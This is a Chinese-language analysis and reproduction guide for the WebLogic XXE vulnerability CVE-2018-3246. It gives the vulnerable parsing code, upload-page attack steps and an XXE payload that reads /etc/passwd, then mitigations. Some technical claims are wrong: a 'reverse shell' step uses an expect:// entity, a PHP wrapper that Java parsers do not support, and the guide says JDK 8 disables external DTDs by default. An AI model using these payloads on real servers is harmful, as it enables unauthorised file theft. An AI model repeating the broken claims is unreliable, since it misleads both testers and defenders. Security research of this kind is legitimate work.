看我如何在Weblogic里捡一个XXE(CVE-2018-3246)
字数 1234 2025-08-18 11:37:42
Weblogic XXE漏洞(CVE-2018-3246)分析与复现指南
漏洞概述
CVE-2018-3246是Oracle WebLogic Server中的一个XML外部实体(XXE)注入漏洞,存在于WebLogic Test Page组件中。攻击者可以通过构造恶意的XML文件,利用服务器对XML解析的不安全处理,实现任意文件读取或远程代码执行。
漏洞影响
- 受影响版本:Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
- 漏洞类型:XML外部实体注入(XXE)
- CVSS评分:7.5 (High)
漏洞原理分析
漏洞位于ws-testpage-impl.jar文件中的importWsTestConfig方法,具体路径为/config/import。
关键问题点:
- 使用
Unmarshaller接口解析用户上传的XML文件时未禁用外部实体引用 - 在JDK 6/7环境下默认允许外部DTD引用,而WebLogic默认使用这些JDK版本
漏洞代码片段:
public ActionData execute(ActionData actionData) {
KeyValuesMap formParams = (KeyValuesMap)actionData.get("request_form_data");
try {
String fileName = (String)formParams.getFirstValue("import_file_name");
Unmarshaller Unmarshaller = context.createUnmarshaller();
TTestConfig tconfig = (TTestConfig)Unmarshaller.unmarshal(new File(fileName));
// ...
} catch (Throwable e) {
// ...
}
return actionData;
}
漏洞复现步骤
环境准备
- 搭建存在漏洞的WebLogic环境(建议使用JDK 6或7)
- 确保WebLogic Test Page组件可用(默认路径:
/ws_utc/begin.do)
攻击步骤
-
访问上传页面:
http://[target]:[port]/ws_utc/begin.do -
准备恶意XML文件(以读取/etc/passwd为例):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> -
上传XML文件:
- 将上述XML内容保存为test.xml
- 通过上传接口提交文件
-
执行XXE攻击:
- 如果环境允许,将直接返回文件内容
- 如果无法回显,可尝试使用OOB(Out-of-Band)技术外带数据
-
反弹Shell(可选):
构造包含系统命令执行的XML文件:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "expect://id"> ]> <root>&xxe;</root>
漏洞修复方案
-
官方补丁:
- 应用Oracle官方发布的最新安全补丁(2018年10月补丁)
-
临时缓解措施:
- 升级至JDK 8(默认禁用外部DTD)
- 禁用WebLogic Test Page组件
- 配置XML解析器禁用外部实体:
Unmarshaller unmarshaller = context.createUnmarshaller(); unmarshaller.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); unmarshaller.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
-
网络层防护:
- 在网络边界限制对WebLogic管理端口的访问
- 部署WAF规则拦截XXE攻击特征
技术细节补充
-
JDK版本影响:
- JDK 6/7:默认允许外部实体引用,漏洞可被利用
- JDK 8:默认禁用外部DTD,可有效防御此漏洞
-
漏洞利用限制:
- 需要知道上传文件的确切路径
- 需要服务器有出网权限才能实现OOB数据外带
-
漏洞检测方法:
- 发送测试XXE Payload并观察响应
- 检查服务器日志中的XML解析错误
参考链接
- Oracle官方安全公告:https://www.oracle.com/security-alerts/cpuoct2018.html
- 漏洞披露时间线:2018年10月16日由Oracle发布补丁
免责声明
本文仅用于安全研究与教育目的。未经授权对他人系统进行测试或攻击是违法行为。使用者需自行承担由此产生的法律责任。